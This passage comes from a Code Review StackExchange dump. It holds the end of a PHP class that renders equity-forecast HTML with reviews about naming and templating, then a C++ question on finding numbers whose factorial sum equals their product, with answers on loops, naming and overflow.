$html .= '<b id="e-2" class="s15 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-2 tx-2 di-1"> Approximated Resistances</b>';
$html .= '</div>';
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720">';
$html .= '<b id="b-0' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-1 tx-0 di-1"> ' . $p["l" . $i] . ' </b>';
$html .= '<b id="b-1' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-1 tx-1 di-1"> ' . $p["e" . $i] . ' </b>';
$html .= '<b id="b-2' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-1 tx-2 di-1"> ' . $p["h" . $i] . ' </b>';
$html .= '</div>';
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720 g-3 fh-2 cu-cm"></div>';
$html .= '<div style="padding-left:' . round(44 + $p["p" . $i]) . '%;" class="ro di-1"><div class="tg-up t-19">' . round(50 + $p["p" . $i], 3) . '%</div></div>';
} elseif ($i > 0 && $i < sizeof($p) / 4 - 1) {
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720">';
$html .= '<b id="b-0' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-1 tx-0 di-1"> ' . $p["l" . $i] . ' </b>';
$html .= '<b id="b-1' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-1 tx-1 di-1"> ' . $p["e" . $i] . ' </b>';
$html .= '<b id="b-2' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-1 tx-2 di-1"> ' . $p["h" . $i] . ' </b>';
$html .= '</div>';
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720 g-3 fh-2 cu-cm"></div>';
$html .= '<div style="padding-left:' . round(44 + $p["p" . $i]) . '%;" class="ro di-1"><div class="tg-up t-19">' . round(50 + $p["p" . $i], 3) . '%</div></div>';
} elseif ($i === 0) {
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720">';
$html .= '<b id="b-0' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-1 tx-0 di-1"> ' . $p["l" . $i] . ' </b>';
$html .= '<b id="b-1' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-1 tx-1 di-1"> ' . $p["e" . $i] . ' </b>';
$html .= '<b id="b-2' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-1 tx-2 di-1"> ' . $p["h" . $i] . ' </b>';
$html .= '</div>';
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720 g-3 fh-2 cu-cm"></div>';
$html .= '<div style="padding-left:' . round(44 + $p["p" . $i]) . '%;" class="ro di-1"><div class="tg-up t-19">' . round(50 + $p["p" . $i], 3) . '%</div></div>';
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720">';
$html .= '<b id="b-0' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-2 tx-0 di-1"> Lowest Lows</b>';
$html .= '<b id="b-1' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-2 tx-1 di-1"> Equilibriums </b>';
$html .= '<b id="b-2' . $i . '" class="s16 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-2 tx-2 di-1"> Highest Highs</b>';
$html .= '</div>';
$html .= '</div>';
} else {
if ($_SERVER['LOGNAME'] === ConstEQ::LOCALHOST) {
HelperEQ::linePrint("OOPS! It might be sizeof($p)/4, Check the algorithm! " . ConstEQ::NEW_LINE);
}
continue;
}
$eq_htmls .= $html;
$html = '';
}
}
/**
*@var is a button for open/close equilibrium data
*/
$click_button = '<a href="#" class="s18 ro tx-1 b119 r100 t-21 p-2 br-5 mv-3" onclick="J.toggleSwitch({d:this});return false;" title="' . $arr["quote"]["symbol"] . ' latest quote"> Average Daily Equilibrium Forecast: ' . date('l, d F Y \⏱ H:i T', microtime(true)) . '</a>';
return '<div class="ro">' . $click_button . '<div class="di-0"><div class="p-3">' . $eq_htmls . '</div></div></div>';
}
/**
*
* @return a large HTML string of current quote section
*/
public static function getQuoteHTML($a)
{
/**
*@method gets majority of quote array parameters
*/
$quote_params = ST::getQuoteParams();
/**
*@var is the HTML for quote section of the article
*/
$html = '<div class="ro">' .
'<a href="#"' .
' class="s18 ro tx-1 b119 r100 t-21 p-2 br-5 mv-3"' .
' onclick="J.toggleSwitch({d:this}); return false;"' .
' title="' . $a["symbol"] . ' latest quote">' .
' Quote: ' . date('l, d F Y \⏱ H:i T', microtime(true)) .
'</a>' .
'<div class="di-0">' .
'<div class="p-3">';
foreach ($quote_params as $param) {
if (!isset($param["id"]) || empty($a[$param["ky"]])) {
continue;
}
$rand = rand(20, 99);
$html .= '<p id="' . $param["id"] . '">';
$html .= '<b class="di-1 t-21 m-1 br-3 p-2 b119 r1' . $rand . '">' . $param["lb"] . '</b>: ';
$html .= '<b class="di-1 t-21 m-1 br-3 p-2 b119 r1' . $rand . '">';
switch ($param["id"][0]) {
case "s":
$html .= $a[$param["ky"]];
break;
case "d":
case "v":
$html .= money_format('%=9.4n', (double) $a[$param["ky"]]);
break;
case "t":
$html .= date('l, d F Y \⏱ H:i T \(P \U\T\C\)', (double) $a[$param["ky"]] / 1000);
break;
case "p":
$html .= money_format('%=9.4n', (double) $a[$param["ky"]]) . '%';
break;
default:
$html .= $a[$param["ky"]] . '%';
}
$html .= '</b>';
$html .= '</p>';
}
$html .= '</div>' .
'</div>' .
'</div>';
return $html;
}
/**
*
* @return an HTML string for a chart using google chart API
*/
public static function getEquilibriumHTML($arr)
{
if (is_array(array_column($arr, "m")[0])) {
$ps = array_column($arr, "m")[0];
} else {
$ps = array();
}
$candle_chart_arr = array();
foreach ($ps as $k => $p) {
for ($i = (sizeof($p) / 4) - 1; $i >= 0; $i--) {
array_push($candle_chart_arr,
array(
$arr["c"]["c"][$k]["s"], // date
(float) substr($p["l" . $i], 1), // low support estimated
(float) substr($arr["c"]["c"][$k]["w"], 1), // VWAP market price
(float) substr($p["e" . $i], 1), // Equilibrium estimated
(float) substr($p["h" . $i], 1), // high resistance estimated
)
);
}
}
return HTMLviewEQ::getCandlestickChart(json_encode($candle_chart_arr, true));
}
}
</code></pre>
| [] | [
{
"body": "<p>I wanted to write a comment, but it got a bit too long, so I made it into an answer.</p>\n\n<p>First of all: This question is lacking context. What is it used for, what does it do, how is it used? You could have explained this in your question. However, I did follow your link and found out that this is a tiny part of an app that: \"... scrapes equity data from iextrading API, does statistical analytics, and returns daily price target articles for ~8000 equities in NYSE, NASDAQ and CBOE markets in HTML forms.\". Oh! Not my area of expertise.</p>\n\n<p>I can't run your code, so I can't say whether the code achieves its final purpose, but I will assume it does. I will restrict myself to looking at your code and make some comments.</p>\n\n<p>Your class file starts with:</p>\n\n<pre><code>date_default_timezone_set(\"America/New_York\");\nini_set('max_execution_time', 0);\nini_set('memory_limit', '-1');\nset_time_limit(0);\n\nrequire_once __DIR__ . \"/HTMLviewEQ.php\";\n</code></pre>\n\n<p>I don't understand what this is doing here? Clearly this is not a file that is meant to be run as a stand alone entity. Why then, is this here? I see you do this in all your class files. In case you want to change the default time zone, you'll have to change it everywhere. Does that make sense? Why not put this in 1 central location in your app?</p>\n\n<p>Whenever I look at new code I try to understand the intent behind it. In the case of a single PHP class, the first real line is always a good start. It is:</p>\n\n<pre><code>class HTMLviewEQ extends EQ implements ConstEQ\n</code></pre>\n\n<p>Now I get that <code>EQ</code> means <code>Equity</code>, that's what the whole program is about. Given the <code>HTMLview</code> part, I think this class must have something to do with HTML output. However the class names <code>EQ</code> and <code>ConstEQ</code> don't give much away.</p>\n\n<p>Let me see what methods there are:</p>\n\n<pre><code>public static function getBaseHTML($array, $page_id, $class_obj)\npublic static function getCandlestickChart($arr)\npublic static function getMobileEquilibrium($arr)\npublic static function getQuoteHTML($a)\npublic static function getEquilibriumHTML($arr)\n</code></pre>\n\n<p>Well, they all 'get' something, that's obvious. I have no idea what 'BaseHTML' could be? The only thing I really understand is the 'CandlestickChart'. That must return a chart, and although it doesn't say, that must be in HTML.</p>\n\n<p>Since it looks like all method output HTML, I wonder why this class is called <code>HTMLviewEQ</code>. It doesn't produce a 'view' by itself. It is probably only used to construct one?</p>\n\n<p>Argument names like <code>$array</code>, <code>$arr</code> or <code>$a</code>, don't really tell me what they represent. Worse, I don't even know if they contain the same content, or not. I don't think so, otherwise you would have used the same name. These names are basically meaningless. The same is true for <code>$class_obj</code>. The only meaningful argument is <code>$page_id</code>, if only I knew what pages you're talking about.</p>\n\n<p>Names are very important in any programming language. They allow you to tell the reader what they represent and, with that, what your code does. Good names are: <code>customerName</code>, <code>CurrencySymbol</code> and <code>ClockTicks</code>. Bad names are: <code>myConst</code>, <code>bksp</code>, <code>symb</code> and <code>strObj</code>. </p>\n\n<p>One of my personal hangups are unnecessary abbreviations. Why should I have to guess what a name stands for? When I encounter: <code>$dt</code>, <code>$comp</code>, <code>$fd</code> and <code>$ld</code> in your code I have to look up what they mean. Why? What's wrong with <code>$currentDate</code>, <code>$companyName</code>, <code>$firstChartDate</code> and <code>$lastChartDate</code>? Slightly longer names won't make any difference to the speed with which the code is executed, but they make a big difference to the reader.</p>\n\n<p>At this point this class, and its methods, don't make any sense to me. They're not 'talking'. For all I know you could have just thrown a few overly big functions together to make this class. I can't see any design or structure to it.</p>\n\n<p>I will have to accept that I can't understand the code, and look at what is going on in each method.</p>\n\n<p><code>getBaseHTML()</code> is <strong>BIG</strong>. Line wrap on! Basically it's <em>way</em> too big. This is not good programming. This method doesn't do one thing, it does lots of things. This is not a good way to produce HTML. Code and text are completely mixed up in one big code-slurry. It's inflexible, and difficult to understand. </p>\n\n<p>Now I don't want to say: You have to use a <a href=\"http://acmeextension.com/best-templating-engine/\" rel=\"nofollow noreferrer\">templating package</a>, but this is the opposite. PHP code, text and HTML are all mixed together here. Oh, there's some Javascript too. It doesn't make sense and is very difficult to maintain.</p>\n\n<p>To start I would separate the text from the HTML, and probably put it in a database or a separate file. Earmark them. Something like:</p>\n\n<pre><code>$articleText = ['highlight' => \"{companyName}: Seven price sets are being approximated for {wrappedSymbol} lowest supports, {wrappedSymbol} average equilibriums and {wrappedSymbol} highest resistances. Each set has a \\\"percentage\\\", which indicates that if {wrappedSymbol} has been outperforming or downperforming during that day.\",\n 'abstract' => \"{wrappedSymbol} - {companyName}: Equilibrium price is important for {wrappedSymbol} institutional trading/investing, {wrappedSymbol} retail trading/investing and other types of short/long positions. They provide supplementary perspectives to traders for {wrappedSymbol} day/swing trading, {wrappedSymbol} low/high frequency trading, {wrappedSymbol} put/call option forecasting, {wrappedSymbol} forward/reverse trading/investing and {wrappedSymbol} algorithmic trading. Average equilibrium price is necessary for {wrappedSymbol} Buy/Sell/Hold decision makings and {wrappedSymbol} rating for analyst coverages and equity due diligence. They are also beneficial for {wrappedSymbol} trading volume forecasting, {wrappedSymbol} daily volatility approximating, {wrappedSymbol} resistance and support evaluating, {wrappedSymbol} stop loss calculations, among other quantitative advantages. Static charts cannot provide such information to trading and investing entities.\",\n 'legalWarning' => \"All {symbol} information are connected to delayed 60-seconds data pipelines from version 1.0 API at https://api.iextrading.com/1.0/, in addition to other financial and economical data. All computations are automatic, currently independent of all news, sentiments, external parameters and internal corporate factors. This page is only an alpha prototype and is only updated a few times per hour based on our dynamic indices and latest quote scraped from that API. It may not be accessible at all times, and inadvertent or unknown inaccuracies exist. All information are provided under \\\"AT YOUR OWN FULL RISKS\\\" and \\\"NO LIABILITIES, UNDER NO CIRCUMSTANCES\\\" terms. Trade Safe and Happy Investing!\"];\n</code></pre>\n\n<p>And then use these strings to create your HTML output. In the end proper templating is most flexible, but something like this will do for now. You can easily edit these string, and you could even write an UI for that. HTML can be used to structure content, whereas the text should conveys meaning. These are two different things.</p>\n\n<p>There's lots of other things to say about your code, but let me stop here. I'll summarize:</p>\n\n<ul>\n<li>Class files should only contain a class, nothing else.</li>\n<li>PHP names should be meaningful: <code>$quoteAmount</code> instead of <code>$a</code>.</li>\n<li>Methods should not be overly long and do one thing.</li>\n<li>Separate HTML from texts. Don't mix everything up. </li>\n</ul>\n\n<p>OOP is more than just a bit of syntax, it's a method. A way to structure your thoughts and code. You're clearly not yet thinking in object and classes. To you they must seem more like a hindrance than a tool. </p>\n\n<p>I always found <a href=\"https://phptherightway.com/\" rel=\"nofollow noreferrer\">PHP The Right Way</a> a good starting point to learn more. You can find everything there, from a <a href=\"https://phptherightway.com/#code_style_guide\" rel=\"nofollow noreferrer\">Code Style Guide</a>, <a href=\"https://phptherightway.com/#coding_practices\" rel=\"nofollow noreferrer\">Coding Practices</a>, to <a href=\"https://phptherightway.com/#templating\" rel=\"nofollow noreferrer\">Templates</a> and <a href=\"https://phptherightway.com/#security\" rel=\"nofollow noreferrer\">Security</a>. A lot of essential resources at your fingertips!</p>\n\n<p>And when you're tired of it all, you could have a look at <a href=\"http://www.phpthewrongway.com\" rel=\"nofollow noreferrer\">PHP The Wrong Way</a>. To counterbalance it all a bit.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:28:22.167",
"Id": "217482",
"ParentId": "217467",
"Score": "4"
}
},
{
"body": "<p>You have a lot of characters being loaded into <code>$html</code> string. Try to find repeated string sequences and try to cache them in a fashion that allow you to quickly reference and potentially loop the data.</p>\n\n<p>Using DRY techniques, will make your code more concise, easier to maintain, less susceptible to typos, and generally makes proper use of a language that offers variables.</p>\n\n<p>For instance, have a look at the repetition of:</p>\n\n<pre><code>$html .= '<b id=\"b-0' . $i . '\" class=\"s16 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-1 tx-0 di-1\"> ' . $p[\"l\" . $i] . ' </b>';\n$html .= '<b id=\"b-1' . $i . '\" class=\"s16 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-1 tx-1 di-1\"> ' . $p[\"e\" . $i] . ' </b>';\n$html .= '<b id=\"b-2' . $i . '\" class=\"s16 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-1 tx-2 di-1\"> ' . $p[\"h\" . $i] . ' </b>';\n</code></pre>\n\n<p>The class values could very sensibly be stored as a lookup array like this:</p>\n\n<pre><code>$classLookup = [\n 's16 a118 a218 a318 a418 a518 a618 a718 r18',\n 's16 a118 a218 a318 a418 a518 a618 a718 r10',\n 's16 a118 a218 a318 a418 a518 a618 a718 r14'\n];\n</code></pre>\n\n<p>Then you could write short loops to cut down on the hardcoded parts of your script. Something like:</p>\n\n<pre><code>foreach($classLookup as $x => $classes) {\n $html .= '<b id=\"b-' . $x . $i . '\" class=\"' . $classes . $r . ' mv-1 tx-{$x} di-1\"> ' . $p[\"l\" . $i] . ' </b>';\n}\n</code></pre>\n\n<p>You might not take this advice literally. Have a think about what is going to be the way to set up the variables and try not to repeat yourself.</p>\n\n<p>When writing your <code>foreach()</code> loops, if you don't use the key variable, then don't bother declaring it.</p>\n\n<p>I see a few places inside of loops where you ask php to repeatedly calculate <code>(sizeof($p) / 4) - 1</code>. While it is not a very taxing calculation, good coding practices dictate that you should calculate and declare this value as a variable, once, outside your loop. Then simply reference it when needed.</p>\n\n<p>Cast your eyes to the design of your if-elseif-else block. Find any similarities/duplications and try to redesign your script to reduce much of the hardcoded strings.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T13:01:09.073",
"Id": "217491",
"ParentId": "217467",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217482",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T03:43:45.157",
"Id": "217467",
"Score": "0",
"Tags": [
"javascript",
"performance",
"beginner",
"php",
"html"
],
"Title": "User interface HTML string generated using PHP"
} | 217467 |
<pre><code>#include <iostream>
#include <cmath>
using namespace std;
int s = 1; //Serial No.
</code></pre>
<p>Should I use recursion for the factorials function?</p>
<pre><code>int Factorial(int n)
{
int k=1;
for(int i=1;i<=n;++i)
{
k=k*i;
}
return k;
}
</code></pre>
<p>How I can go about doing this in a single for loop instead of the 3 while loops?</p>
<pre><code>int main()
{
int a = 1;
int b = 1;
int c = 1;
int Fact1;
int Fact2;
int Fact3;
while (a < 11)
{
Fact1 = Factorial(a);
while (b < 11)
{
Fact2 = Factorial(b);
while (c < 11)
{
Fact3 = Factorial(c);
cout << s << " : ";
int LHS = Fact1 + Fact2 + Fact3;
if (LHS == a * b * c)
{
cout << "Pass:" <<" "<< a << " & " << b << " & " << c << endl;
}
else
{
cout << "Fail" /*<<" "<< Fact1 <<" "<< Fact2 <<" "<<Fact3*/<<endl;
}
c++;
s++;
}
c = 1;
b++;
}
b = 1;
a++;
}
return 0;
}
</code></pre>
<p>Also I would love some variable naming tips.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T09:18:54.423",
"Id": "420758",
"Score": "2",
"body": "I used 11 as the limit because I started writing the code in my mobile phone and the program I used to run it, \"finished running\" the code after the 1000th output"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:43:48.017",
"Id": "420767",
"Score": "13",
"body": "Welcome to Code Review. I have rolled back your latest edits. Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:50:48.273",
"Id": "420779",
"Score": "2",
"body": "@amaan797 What are the solutions you got?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T15:37:58.840",
"Id": "420798",
"Score": "1",
"body": "Is this in reference to accepting an answer if so I have done that"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T21:42:07.383",
"Id": "420829",
"Score": "0",
"body": "@amaan797 note that if you really wanted to push more performance out of this you would indeed want to calculate factorials inline so as to remove the calls to `Factorial`, and also to narrow the search space by a factor of 5 or so by only looking for (a,b,c) such that a <= b <= c. If you repost this you should be clear on whether you are asking for reviews targeting greater speed or greater readability or whatever else..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T22:33:28.940",
"Id": "420833",
"Score": "2",
"body": "I understand this is code review, but without loss of generality 0<A<=B<=C, and A<B<C implies ABC<=C!<A!+B!+C! so either A=B or B=C or both."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T17:15:33.263",
"Id": "420942",
"Score": "0",
"body": "I would prefer for-loops rather than while-loops, when you run through something sequentially"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T07:21:40.233",
"Id": "421003",
"Score": "0",
"body": "@Servaes That's a performance optimization. Somewhat on topic, I think."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-06-11T17:21:58.433",
"Id": "478381",
"Score": "1",
"body": "@xxx--- Sorry for being a year late to respond but it was 3-3-4"
}
] | [
{
"body": "<p>Hello and welcome to Code Review. </p>\n\n<p>Surprisingly, <code>a</code>, <code>b</code>, and <code>c</code> are probably the best variable names you can come up with. They are conventionally given as canonical examples of bad names, but when the task is to implement a mathematical function using the same variable names as in the spec is more important. </p>\n\n<p>As to the single loop question, the short answer is \"not easily\". You are trying to check all combinations of three independently varying things. That means you naturally want three loops, and anything else would lose out on readability.</p>\n\n<hr>\n\n<p>Aside from your questions, I have a few observations about this code that might be worth fixing. </p>\n\n<ul>\n<li>When you have a loop that is counting up to something, it is convention to prefer a <code>for</code> loop to a <code>while</code> loop.</li>\n<li><code>Factorial</code> is what is known as a \"pure function\" which means that its output only depends on its input. Such functions within loops are often good candidates for caching so that you don't have to waste time calculating the same output a hundred and eleven times for each input number. </li>\n<li>Both <code>+</code> and <code>*</code> are commutative, which means that if a, b, and c pass then b, a, and c also pass. You should check whether you need to display all reorderings of the same sets of numbers.</li>\n<li>It is unclear where 11 has come from. It seems like a magic number, which would benefit from being moved to a named constant and having a comment explaining why that value is used. </li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T08:31:52.577",
"Id": "420748",
"Score": "3",
"body": "`You should check whether you need to display all reorderings of the same sets of numbers.` You could expand this. Because this is true, you don't have to check them either, which means you can remove some of the iterations. If you *do* have to display, you can still do this, and just print all permutations afterwards."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T13:54:21.983",
"Id": "420791",
"Score": "7",
"body": "7! = 1540 and 7^3 = 343, no need to check higher than 6. Could of course loop until n! > n^3."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T14:19:16.187",
"Id": "420792",
"Score": "6",
"body": "@JollyJoker That observation is enough for a separate answer. I recommend pre-caching the limit as it's constant and faster to do so."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T14:46:26.340",
"Id": "420794",
"Score": "1",
"body": "Someone better at c++ than me could do a discussion on what's better to cache / pre-calculate / hardcode, avoiding premature optimization and so on. Factorials of 1-7 are few, 343 loops is nothing etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:10:19.673",
"Id": "420919",
"Score": "0",
"body": "@JollyJoker [Are you sure `7!` isn't `5040`?](https://en.wikipedia.org/wiki/Factorial) Also, side-by-side: http://coliru.stacked-crooked.com/a/365eef0d85122710"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:12:47.220",
"Id": "420920",
"Score": "0",
"body": "@Deduplicator Yes, you're right. I even calculated it then wrote it wrong here"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T07:42:10.203",
"Id": "217469",
"ParentId": "217468",
"Score": "26"
}
},
{
"body": "<p>A couple of remarks in addition to <a href=\"https://codereview.stackexchange.com/a/217469/195179\">Josiah's answer</a>:</p>\n\n<ul>\n<li><p>While I agree that the variable names <code>a</code>, <code>b</code> and <code>c</code> are fine when implementing mathy functions that can be concisely described with these identifiers, this doesn't apply to the counter <code>s</code>. I am not totally sure what it does, but</p>\n\n<pre><code>int s = 1; //Serial No.\n</code></pre>\n\n<p>makes me think that</p>\n\n<pre><code>int serialNumber = 1;\n</code></pre>\n\n<p>would be a better approach.</p></li>\n<li><p>Try to be consistent in your naming, you have some names that start with an upper case and some that start with a lower case. Instead, pick one scheme and stick to it.</p></li>\n<li><p>Keep the scope of your variables as small as possible.</p>\n\n<pre><code>int Fact1;\nint Fact2;\nint Fact3;\n</code></pre>\n\n<p>They can all be moved into the loop body and be initialized upon their declaration. This doesn't make the exist unitialized, which is desireable.</p></li>\n<li><p>When you don't intend to modify a variable, <code>const</code>-qualify it:</p>\n\n<pre><code>const int LHS = Fact1 + Fact2 + Fact3;\n</code></pre></li>\n<li><p>If you intend to enlarge the <code>11</code> constant at some point, note that factorials might get quite large. Maybe check (if the limit is known at compile time via a <code>static_assert</code>) that <code>Fact1</code>, <code>Fact2</code> and <code>Fact3</code> as well as the sum of it can't overflow?</p></li>\n<li><p>I don't see any use of functions that come from</p>\n\n<pre><code>#include <cmath>\n</code></pre>\n\n<p>so you might want to remove this line.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T09:05:34.783",
"Id": "420756",
"Score": "10",
"body": "I think 11 is way to big already. Assume(without loss of generality) that c>=b>=a; We know that a*b*c>c!, or a*b>(c-1)!, so b>sqrt(c-1)!. Because the square root of 5! is more than 6 we can know that the equation is not satisfiable with c>=6"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:23:26.067",
"Id": "420774",
"Score": "4",
"body": "Taemyr, that is an excellent point and a good example of a bit of maths saving a lot of crunching. My only worry is that it may get missed as a comment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:28:52.593",
"Id": "420776",
"Score": "4",
"body": "@Taemyr make that into an answer, focusing on how to understand and translate the requirements into code (as opposed to code style)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T13:35:04.607",
"Id": "420789",
"Score": "2",
"body": "I'd add: separate the code to list tuples {a,b,c} from the code to test a tuple."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T08:10:33.293",
"Id": "217470",
"ParentId": "217468",
"Score": "9"
}
},
{
"body": "<p>Avoid <code>using namespace std</code>. It doesn't even save any typing in this program.</p>\n<p><code>serialNumber</code> doesn't need to be global.</p>\n<p>Consider using unsigned types for numbers when negatives can't be present.</p>\n<p>Whilst there's nothing wrong with the <code>factorial</code> function (and I certainly wouldn't recommend making it recursive), we can skip the <code>i==1</code> iteration:</p>\n<pre><code>constexpr unsigned int factorial(unsigned int n)\n{\n unsigned int k = 1;\n for (unsigned int i = 2u; i <= n; ++i) {\n k *= i;\n }\n return k;\n}\n</code></pre>\n<p>Note that we need to be very careful with our inputs to avoid overflow here. With a 16-bit <code>int</code>, we can compute factorials only up to <strong>8!</strong>, and with 32-bit <code>int</code>, a maximum of <strong>12!</strong>. Consider throwing a <code>std::range_error</code> when the output is too large to represent:</p>\n<pre><code>#include <limits>\n#include <stdexcept>\n\nconstexpr unsigned int factorial(unsigned int n)\n{\n unsigned int k = 1;\n for (unsigned int i = 2u; i <= n; ++i) {\n if (k >= std::numeric_limits<decltype(k)>::max() / n) {\n throw std::range_error("factorial");\n }\n k *= i;\n }\n return k;\n}\n</code></pre>\n<p>Reduce scope of variables, and keep the names of related variables obviously connected; i.e. instead of using numbers for the factorials, include <code>a</code>, <code>b</code> or <code>c</code> in their names (e.g. <code>fa</code>, <code>fb</code>, <code>fc</code>).</p>\n<p>We can reduce the search space by limiting the loops so that we don't repeat tests so much (given that both operations are commutative):</p>\n<pre><code>for (unsigned a = 1; a < 11; ++a)\n{\n auto const fa = factorial(a);\n for (unsigned b = 1; b <= a; ++b)\n {\n auto const fb = factorial(b);\n for (unsigned c = 1; c <= b; ++c)\n {\n auto const fc = factorial(c);\n</code></pre>\n<p>Notice how the inner loops reach but don't exceed the current value of the containing loop.</p>\n<p>Prefer <code>'\\n'</code> to <code>std::endl</code> when there's no need to flush the output immediately (in fact, when a newline and flush are both needed, I prefer to write <code><< '\\n' << std::flush</code> to be absolutely clear what we want).</p>\n<hr />\n<h1>Modified code</h1>\n<pre><code>#include <iostream>\n#include <limits>\n#include <stdexcept>\n\nconstexpr unsigned int factorial(unsigned int n)\n{\n unsigned int k = 1;\n for (unsigned int i = 2u; i <= n; ++i) {\n if (k >= std::numeric_limits<decltype(k)>::max() / n) {\n throw std::range_error("factorial");\n }\n k *= i;\n }\n return k;\n}\n\nint main()\n{\n for (unsigned a = 1; a < 11; ++a) {\n auto const fa = factorial(a);\n for (unsigned b = 1; b <= a; ++b) {\n auto const fb = factorial(b);\n for (unsigned c = 1; c <= b; ++c) {\n auto const fc = factorial(c);\n if (fa + fb + fc == a * b * c) {\n std::cout << "Pass:" << " "\n << a << " & " << b << " & " << c\n << '\\n';\n }\n }\n }\n }\n}\n</code></pre>\n<hr />\n<h1>Exercise</h1>\n<p>What would you change to extend this to search for <em>N</em> numbers whose product equals the sum of their factorials, when <em>N</em> is given at run time?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:10:32.647",
"Id": "420770",
"Score": "2",
"body": "This answer is the most accurate/useful one IMO"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:28:45.067",
"Id": "420775",
"Score": "5",
"body": "Note that big names like Sutter and Stroustrup increasingly advise away from using unsigned. e.g. http://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Res-nonnegative"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:56:24.557",
"Id": "420780",
"Score": "5",
"body": "@Josiah, that link refers to something different - using `unsigned` doesn't magically _enforce_ correctness of values. However, it does give more range than the corresponding signed type, and has well-defined overflow behaviour, so it's a mistake to think that unsigned types should be avoided. (That said, do avoid _mixing_ signed and unsigned types in computation.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T13:32:29.137",
"Id": "420788",
"Score": "2",
"body": "I think the clearer presentation of their perspective is found in this panel video. https://www.youtube.com/watch?v=Puio5dly9N8#t=42m40s"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:19:53.310",
"Id": "420909",
"Score": "1",
"body": "An efficient factorial is important here, so putting an error check *inside* the inner loop seems like a mistake vs. precomputing (maybe with templates somehow) the max input we can handle without overflowing. Also, note that we can compute `fb` in terms of `fa`, just multiplying the numbers from `a+1` to `b`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:21:00.603",
"Id": "420910",
"Score": "0",
"body": "Or more simply and much better, strength-reduce factorial to multiplication: `a++; fa*=a;`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:20:16.713",
"Id": "420921",
"Score": "1",
"body": "@PeterCordes Yes, [pre-computing with templates is easy enough](http://coliru.stacked-crooked.com/a/365eef0d85122710)."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:41:45.773",
"Id": "217485",
"ParentId": "217468",
"Score": "19"
}
},
